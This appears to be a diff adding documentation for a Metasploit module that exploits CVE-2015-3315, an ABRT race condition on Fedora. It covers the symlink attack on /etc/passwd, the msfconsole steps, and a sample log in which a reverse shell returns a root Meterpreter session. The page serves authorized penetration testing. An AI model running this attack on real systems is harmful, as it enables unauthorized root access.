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| 1 | +## Description |
| 2 | + |
| 3 | + This module attempts to gain root privileges on Fedora systems with a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured as the crash handler. |
| 4 | + |
| 5 | + |
| 6 | +## Vulnerable Application |
| 7 | + |
| 8 | + A race condition in ABRT allows local users to change ownership of arbitrary files (CVE-2015-3315). This module uses a symlink attack on `/var/tmp/abrt/*/maps` to change the ownership of `/etc/passwd`, then adds a new user with UID=0 GID=0 to gain root privileges. Winning the race could take a few minutes. |
| 9 | + |
| 10 | + This module has been tested successfully on ABRT packaged versions: |
| 11 | + |
| 12 | + * 2.2.1-1.fc19 on Fedora 19 x86_64 |
| 13 | + * 2.2.2-2.fc20 on Fedora 20 x86_64 |
| 14 | + |
| 15 | + Fedora 21 and Red Hat 7 systems are reportedly affected, but untested. |
| 16 | + |
| 17 | + |
| 18 | +## Verification Steps |
| 19 | + |
| 20 | + 1. Start `msfconsole` |
| 21 | + 2. Get a session |
| 22 | + 3. Do: `use exploit/linux/local/abrt_raceabrt_priv_esc` |
| 23 | + 4. Do: `set SESSION [SESSION]` |
| 24 | + 5. Do: `check` |
| 25 | + 6. Do: `run` |
| 26 | + 7. You should get a new *root* session |
| 27 | + |
| 28 | + |
| 29 | +## Options |
| 30 | + |
| 31 | + **USERNAME** |
| 32 | + |
| 33 | + Username for the new UID=0 user (default: random) |
| 34 | + |
| 35 | + **SESSION** |
| 36 | + |
| 37 | + Which session to use, which can be viewed with `sessions` |
| 38 | + |
| 39 | + **WritableDir** |
| 40 | + |
| 41 | + A writable directory file system path. (default: `/tmp`) |
| 42 | + |
| 43 | + |
| 44 | +## Scenarios |
| 45 | + |
| 46 | + ``` |
| 47 | + msf > use exploit/linux/local/abrt_raceabrt_priv_esc |
| 48 | + msf exploit(linux/local/abrt_raceabrt_priv_esc) > set session 1 |
| 49 | + session => 1 |
| 50 | + msf exploit(linux/local/abrt_raceabrt_priv_esc) > run |
| 51 | +
|
| 52 | + [!] SESSION may not be compatible with this module. |
| 53 | + [*] Started reverse TCP handler on 172.16.191.244:4444 |
| 54 | + [*] Writing '/tmp/.C17d3UYQy' (64240 bytes) ... |
| 55 | + [*] Trying to own '/etc/passwd' - This might take a few minutes (Timeout: 900s) ... |
| 56 | + [+] Success! '/etc/passwd' is writable |
| 57 | + [*] Adding pauITBusGM user to /etc/passwd ... |
| 58 | + [*] Writing '/tmp/.u8zOz4c' (207 bytes) ... |
| 59 | + [*] Sending stage (857352 bytes) to 172.16.191.137 |
| 60 | + [*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.137:38938) at 2018-02-03 21:29:56 -0500 |
| 61 | +
|
| 62 | + meterpreter > getuid |
| 63 | + Server username: uid=0, gid=0, euid=0, egid=0 |
| 64 | + meterpreter > sysinfo |
| 65 | + Computer : localhost.localdomain |
| 66 | + OS : Fedora 20 (Linux 3.19.8-100.fc20.x86_64) |
| 67 | + Architecture : x64 |
| 68 | + BuildTuple : i486-linux-musl |
| 69 | + Meterpreter : x86/linux |
| 70 | + meterpreter > |
| 71 | + ``` |
| 72 | + |
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